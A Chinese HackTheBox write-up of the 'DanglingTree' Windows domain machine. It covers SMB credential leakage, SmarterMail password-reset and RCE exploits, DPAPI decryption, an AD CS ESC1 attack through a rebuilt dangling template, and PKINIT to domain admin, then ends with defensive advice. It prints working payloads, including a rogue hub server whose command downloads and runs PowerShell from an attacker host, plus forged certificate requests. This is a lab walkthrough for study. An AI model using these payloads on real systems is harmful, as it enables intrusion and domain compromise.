HackTheBox-DanglingTree
网安之家-CyberHomestead
2026年8月15日 10:49
湖北
在小说阅读器读本章
去阅读
【HTB Writeup】DanglingTree:一张\"不存在\"的证书,拿下整个域
本文为授权环境下 HackTheBox VIP 靶场的技术复盘,已对全部凭据、哈希、Flag 与攻击端信息脱敏。请遵守 HTB 规则:未退休机器请勿查阅 writeup 作弊。
难度:Hard | 类型:Windows AD | 关键词:SmarterMail RCE · DPAPI · AD CS 悬空模板 · ESC1 · PKINIT
0x00 靶场信息卡
| 项目 | 内容 |
|---|---|
| 靶机 | DanglingTree(Season 11 / Hard) |
| 系统 | Windows Server 2025 (Build 26100) |
| 域 | danglingtree.htb |
| 目标 | user.txt + root.txt |
| 攻击机 | Kali Linux(IP 已脱敏,下文以 ATTACKER 代称) |
| 目标 IP | 已脱敏,下文以 TARGET 代称 |
脱敏说明:文中所有密码显示为 ********,哈希显示为 <HASH>,Flag 显示为 <FLAG>,证书指纹/序列号截断显示。
0x01 网络拓扑图
┌─────────────────────────────┐
│ HackTheBox VIP 网络 │
│ │
│ ┌───────────────────────┐ │
│ │ DC (DanglingTree) │ │
│ │───────────────────────│ │
│ │ :445 SMB │ │
│ │ :88 Kerberos │ │
│ │ :389/636 LDAP(S) │ │
│ │ :17001 SmarterMail │ │
│ │ :9998 SmarterMail UI │ │
│ │ :6600 WAC │ │
│ │ 域: danglingtree.htb │ │
│ └───────────┬───────────┘ │
└───────────────┼─────────────┘
│ VPN 隧道
┌───────────────┴─────────────┐
│ 攻击机 Kali (ATTACKER) │
│ nc:4444 / http:8081 │
│ hub:8082 │
└────────────────────────────┘
0x02 攻击路径总览拓扑图
匿名SMB ──①──▶ anderson.w凭据(共享泄露)
│
▼
② CVE-2026-24423 (SmarterMail connect-to-hub RCE)
│ svc_mail shell
▼
③ RunasCs → noah.b ──▶ 【user.txt】
│
▼
④ DPAPI 离线解密 → alex.o
│
▼
⑤ ForceChangePassword → jake.h
│ (Template_Editors 唯一成员)
▼
⑥ AD CS 悬空模板重建 (ESC1)
│ 重建 RemoteAccessVPN
├── bloodyAD 加 GenericAll
├── LDAPS 补齐 14 项模板属性
└── certreq PKCS10 + SID扩展 → CA签发
│
▼
⑦ PKINIT + UnPAC the hash → Administrator
│
▼
⑧ PsExec PtH ──▶ 【root.txt】★
0x03 Phase 0 · 侦察(Day1 上午)
nmap -p- --min-rate 5000 TARGET
nmap -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,17001,9998,47001,6600 TARGET
蛛丝马迹:17001/9998 → SmarterMail、6600 → WAC、445 开放 —— 三条并行线索。
SMB 匿名枚举:
smbclient -L //TARGET/ -N # 发现 IT 共享
smbclient //TARGET/IT -N -c 'dir; get credentials.txt'
共享里一份\"运维备忘\"直接泄露了
anderson.w的密码(此处脱敏********)。
教训:HTB 的第一步突破口几乎总在\"信息泄露\",先翻共享再看服务。
0x04 Phase 1 · 初始访问:SmarterMail 双 CVE(Day1 下午)
CVE-2026-23760 · 未授权密码重置(box 重置后重新进门用)
curl -k \"https://TARGET:9998/api/v1/settings/sysadmin/reset-password\" \\
-X POST -H \"Content-Type: application/json\" \\
-d '{\"IsSysAdmin\":\"true\",\"Username\":\"svc_mail\",\"OldPassword\":\"x\",
\"NewPassword\":\"********\",\"ConfirmPassword\":\"********\"}'
玄机:字段必须 PascalCase,
IsSysAdmin是字符串\"true\"才绕过旧密码校验。
CVE-2026-24423 · connect-to-hub RCE
先起恶意 hub(Kali :8082)——回调路径必须是 /web/api/node-management/setup-initial-connection,JSON 字段 SystemMount.CommandMount(PascalCase):
# hub.py(节选,完整版见仓库)
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
REV = 'powershell -nop -w hidden -c \"IEX(...DownloadString(\\'http://ATTACKER:8081/rev.ps1\\'))\"'
class H(BaseHTTPRequestHandler):
def do_POST(self):
if \"setup-initial-connection\" not in self.path:
return self._r(404, {})
resp = {\"ClusterID\":\"f0e12780-...\",\"SharedSecret\":\"any\",\"TargetHubs\":{\"a\":\"b\"},
\"IsStandby\":False,
\"SystemMount\":{\"Enabled\":True,\"ReadOnly\":False,
\"MountPath\":\"C:\\\\\\\\\",\"CommandMount\":REV},
\"SystemAdminUsernames\":[\"admin\"]}
return self._r(200, resp)
HTTPServer((\"0.0.0.0\",8082), H).serve_forever()
WAC 的 PowerShell 里触发:
Invoke-RestMethod -Uri 'http://127.0.0.1:17017/api/v1/settings/sysadmin/connect-to-hub' `
-Method Post -ContentType 'application/json' `
-Body '{\"hubAddress\":\"http://ATTACKER:8082\",\"oneTimePassword\":\"t\",\"nodeName\":\"n\"}'
nc 收到:danglingtree\\svc_mail ✅
0x05 Phase 2 · 横向移动与 user.txt(Day1 晚)
- 1.
RunasCs.exe noah.b '********' \"type C:\\Users\ oah.b\\Desktop\\user.txt\" -t 10000
→ user.txt:<FLAG>(已提交) -
- 提取 noah.b 的 DPAPI 凭据(Roaming\Credentials + Protect masterkey),Kali 离线解:
dpapi.py masterkey -file master.bin -sid S-1-5-21-...-1105 -password '********'
dpapi.py credential -file cred.bin -key 0x7120d9... # → alex.o 明文凭据
-
- alex.o(support-it 组)对 jake.h 有 ForceChangePassword:
rpcclient -U \"alex.o%********\" TARGET -c 'setuserinfo2 jake.h 23 ********'
卡点:svc\_mail 的反弹 shell 处于 UAC 虚拟化——写
C:\\Windows\\Temp会被静默重定向到 VirtualStore。一律改用C:\\Users\\Public+[System.IO.File]::WriteAllText()。
0x06 Phase 3 · 核心戏:AD CS 悬空模板重建(Day2 下午)
蛛丝马迹:CA 说有、目录说没有
# LDAPS 枚举 CA 发布列表(Server 2025 明文 LDAP 被 strongerAuthRequired 拒)
python3 - <<'EOF'
import ldap3, ssl
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2)
s = ldap3.Server('TARGET', 636, use_ssl=True, tls=tls, get_info=ldap3.NONE)
c = ldap3.Connection(s, user=r'DANGLINGTREE\\jake.h', password='********',
authentication=ldap3.NTLM, check_names=False); c.bind()
c.search('CN=danglingtree-DC-CA,CN=Enrollment Services,CN=Public Key Services,'
'CN=Services,CN=Configuration,DC=danglingtree,DC=htb',
'(objectClass=*)', attributes=['certificateTemplates'])
print(c.entries[0]['certificateTemplates'].values)
EOF
输出里 RemoteAccessVPN / EmployeeAuthTemplate / VPNUserTemplate —— 但模板容器里根本不存在这三个对象(悬空引用)。而 jake.h 所在的 Template_Editors 对容器有 CREATE_CHILD → 重建同名模板即\"继承\"CA 信任。
四步重建(命令配方)
# ① LDAPS 创建 ESC1 模板(Name-Flag=1 即 ENROLLEE_SUPPLIES_SUBJECT,EKU=ClientAuth+PKINIT)
# ② bloodyAD 加 GenericAll(别手写 SD 二进制!血泪教训)
bloodyAD -s -d danglingtree.htb -u jake.h -p '********' -H TARGET \\
add genericAll 'CN=RemoteAccessVPN,CN=Certificate Templates,...,DC=htb' jake.h
# ③ LDAPS 补齐 14 项必需属性(缺 revision/OID/CSP/KeyUsage/Expiration 任何一项,
# certutil -template 都看不见它 → certreq 报 Template not found)
# ④ gpupdate /force → certutil -template 出现 RemoteAccessVPN ✅
申请 Administrator 证书(RPC 被封 → certreq 本地两跳)
# INF 关键三行:PKCS10(不是Cert!)+SAN UPN+SID扩展(hex 空格分隔,_continue_ 分行)
RequestType = PKCS10
2.5.29.17 = \"{text}\"; _continue_ = \"[email protected]\"
1.3.6.1.4.1.311.25.2 = \"{hex}\"; _continue_ = \"30 3d a0 3b ...\" # Administrator SID
certreq -q -new inf out.req # 跳1 生成CSR
Start-Job { certreq -q -submit -config \"DC\\danglingtree-DC-CA\" `
-attrib \"CertificateTemplate:RemoteAccessVPN\" out.req admin.cer } # 跳2 CA签名
certreq -accept admin.cer # 跳3 安装
为什么必须注入 SID:Server 2025 的 KB5014754 强映射 —— 没有这个扩展,PKINIT 直接
KDC_ERROR_CLIENT_NOT_TRUSTED(实测被拦两次)。
0x07 Phase 4 · PKINIT 拿权(Day2 晚)
sudo ntpdate TARGET # 对时!实测曾偏移 7 小时
certipy-ad auth -pfx admin.pfx -dc-ip TARGET \\
-username administrator -domain danglingtree.htb -password '********'
# → Got hash for administrator: <HASH>(已脱敏)
impacket-psexec danglingtree.htb/administrator@TARGET -hashes <HASH>
C:\\> whoami → danglingtree\\administrator
C:\\> type C:\\Users\\Administrator\\Desktop\\root.txt → <FLAG> ★
0x08 卡点与玄机(精华)
| 玄机 | 一句话 |
|---|---|
| 时钟偏移 7 小时 | Kerberos 每战必 ntpdate |
RequestType=Cert 是自签名 |
必须 PKCS10 + -submit 让 CA 签名,否则 PKINIT 拒收 |
| 模板创建成功却不可见 | 与正常模板 diff 属性,补齐 revision/OID/CSP 全家桶 |
| Owner 也写不了 ACL | bloodyAD add genericAll 走 Owner 的 WriteDacl,一步到位 |
| ldap3 读 SD 返回 None | 必须带 SD\_FLAGS control 1.2.840.113556.1.4.801 |
| nc shell 多行被拆 | 一律 .ps1 落盘执行,别粘贴 here-string |
0x09 防御启示(给蓝队)
- 1. 巡检 CA 悬空引用:
certificateTemplates与模板容器做每日一致性比对 - 2. 收紧 Template\_Editors:CREATE\_CHILD 不该落在普通用户
-
- CA 颁发给特权账户且请求者≠本人 → 4887 事件实时告警
-
- 邮件服务进程的子进程链(→cmd→powershell)是黄金检测点
-
- 保持 Strong Mapping / LDAP 签名基线 —— 本靶场它们确实拦住过两次攻击
0x0A 免责声明
本文仅用于授权环境(HTB VIP)的学习复盘。所有凭据、哈希、Flag 均已脱敏,请独立完成挑战、遵守平台规则。转载请注明出处。
关注公众号,获取更多 AD CS / Windows 域渗透深度复盘 ▼
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论